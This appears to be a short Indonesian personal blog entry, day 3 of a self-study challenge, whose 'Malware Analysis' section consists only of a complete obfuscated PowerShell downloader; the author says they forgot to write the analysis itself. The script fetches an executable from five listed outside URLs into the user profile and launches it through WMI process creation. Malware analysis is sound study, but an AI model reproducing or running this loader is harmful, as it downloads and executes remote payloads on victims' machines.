Challenge Semalam Belajar Tanpa AI - Day 3

Deskripsi

Maaf ya ges, keskip 1 hari, kemarin diajakin main sm temen gweh. But no problem, hari ini gw kek e bakal main antara blue team, active directory, atau pwning. Kita lihat saja

Malware Analysis

$liechrouhwuw='vuacdouvcioxhaol';[Net.ServicePointManager]::"SEcuRiTyPROToCol" = 'tls12, tls11, tls';

$deichbeudreir = '337';

$quoadgoijveum='duuvmoezhaitgoh';

$toehfethxohbaey=$env:userprofile+'\'+$deichbeudreir+'.exe';

$sienteed='quainquachloaz';

$reusthoas=.('new-object') nEt.weBclIenT;

$jacleewyiqu='https://haoqunkong.com/bn/s9w4tgcjl_f6669ugu_w4bj/*https://www.techtravel.events/informationl/8lsjhrl6nnkwgyzsudzam_h3wng_a6v5/*http://digiwebmarketing.com/wp-admin/72t0jjhmv7takwvisfnz_eejvf_h6v2ix/*http://holfve.se/images/1ckw5mj49w_2k11px_d/*http://www.cfm.nl/_backup/yfhrmh6u0heidnwruwha2t4mjz6p_yxhyu390i6_q93hkh3ddm/'."sPliT"([char]42);

$seccierdeeth='duuzyeawpuaqu';foreach($geersieb in $jacleewyiqu){try{$reusthoas."dOWNloAdfiLe"($geersieb, $toehfethxohbaey);

$buhxeuh='doeydeidquaijleuc';If ((.('Get-Item') $toehfethxohbaey)."leNGTH" -ge 24751) {([wmiclass]'win32_Process')."CReaTe"($toehfethxohbaey);

$quoodteeh='jiafruuzlaolthoic';break;

$chigchienteiqu='yoowveihniej'}}catch{}}$toizluulfier='foqulevcaoj'

Sorry banget gw lupa nulisnya oawkokwokw